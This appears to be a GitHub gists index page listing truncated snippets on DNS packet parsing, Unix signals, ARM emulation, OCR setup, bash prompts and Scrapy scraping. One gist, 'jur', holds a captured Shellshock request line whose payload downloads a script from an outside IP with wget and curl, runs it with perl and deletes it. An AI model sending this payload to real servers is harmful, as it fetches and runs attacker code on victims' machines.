x2c3z4’s gists

x2c3z4 / parse-tcpdump-udp-port-53.php

Created March 21, 2016 18:20 — forked from jtai/parse-tcpdump-udp-port-53.php

Quick and dirty script to parse output of /usr/sbin/tcpdump -vvv -s 0 -l port 53

	<?php

	// quick and dirty argument parsing
	foreach ($argv as $arg) {
	if ($arg == '-f') {
	define('FOLLOW', true);
	}
	if ($arg == '-h') {
	define('HISTOGRAM', true);
	}

x2c3z4 / signal.c

Created March 10, 2016 04:53 — forked from aspyct/signal.c

Unix signal handling example in C, SIGINT, SIGALRM, SIGHUP...

	/**
	* More info?
	* [email protected]
	* http://aspyct.org
	* @aspyct (twitter)
	*
	* Hope it helps :)
	*/

	#include <stdio.h>

x2c3z4 / virtualbox_ports.png

Last active August 18, 2019 02:11 — forked from snb/virtualbox_ports.png

x2c3z4 / gist:dbb729ddb650eeb977b5

Last active August 29, 2015 14:20

You might want to read this to get an introduction to armel vs armhf.

If the below is too much, you can try Ubuntu-ARMv7-Qemu but note it contains non-free blobs.

Running ARM programs under linux (without starting QEMU VM!)

First, cross-compile user programs with GCC-ARM toolchain. Then install qemu-arm-static so that you can run ARM executables directly on linux

x2c3z4 / 00-README.txt

Last active August 29, 2015 14:14 — forked from klzgrad/00-README.txt

	$ LD_PRELOAD=$PWD/sendmsg.so dig twitter.com @8.8.8.8
	;; Warning: Message parser reports malformed message packet. <-- malformed 因为把压缩指针当作域名一部分了
	;; Question section mismatch: got twitter.com/RESERVED0/CLASS256

	; <<>> DiG 9.9.5-3-Ubuntu <<>> twitter.com @8.8.8.8
	;; global options: +cmd
	;; Got answer:
	;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44722
	;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1

x2c3z4 / workspace.sh

Last active August 29, 2015 14:14 — forked from dixson3/workspace.sh

	#!/bin/bash

	# where to store the sparse-image
	WORKSPACE=~/Documents/workspace.dmg.sparseimage

	create() {
	hdiutil create -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 60g -volname workspace ${WORKSPACE}
	}

	detach() {

x2c3z4 / ocr.markdown

Last active August 29, 2015 14:11 — forked from henrik/ocr.markdown

Install ImageMagick for image conversion:

brew install imagemagick

Install tesseract for OCR:

brew install tesseract --all-languages

Or install without --all-languages and install them manually as needed.

x2c3z4 / .bash_profile

Last active August 29, 2015 14:11

	#############################################################################
	# current prompt
	#############################################################################
	# \d – Current date
	# \t – Current time
	# \h – Host name
	# \# – Command number
	# \u – User name
	# \W – Current working directory (ie: Desktop/)
	# \w – Current working directory, full path (ie: /Users/Admin/Desktop)

x2c3z4 / jur

Last active August 29, 2015 14:06

GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22

x2c3z4 / scrapy_plus_selenium_renderedpage

Created August 4, 2014 14:14 — forked from cheekybastard/scrapy_plus_selenium_renderedpage

	#Using Scrapy with Selenium to scape a rendered page [Updated]
	from scrapy.contrib.spiders.init import InitSpider
	from scrapy.http import Request, FormRequest
	from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
	from scrapy.contrib.spiders import CrawlSpider, Rule

	from scrapy.spider import BaseSpider
	from scrapy.selector import HtmlXPathSelector

	from selenium import selenium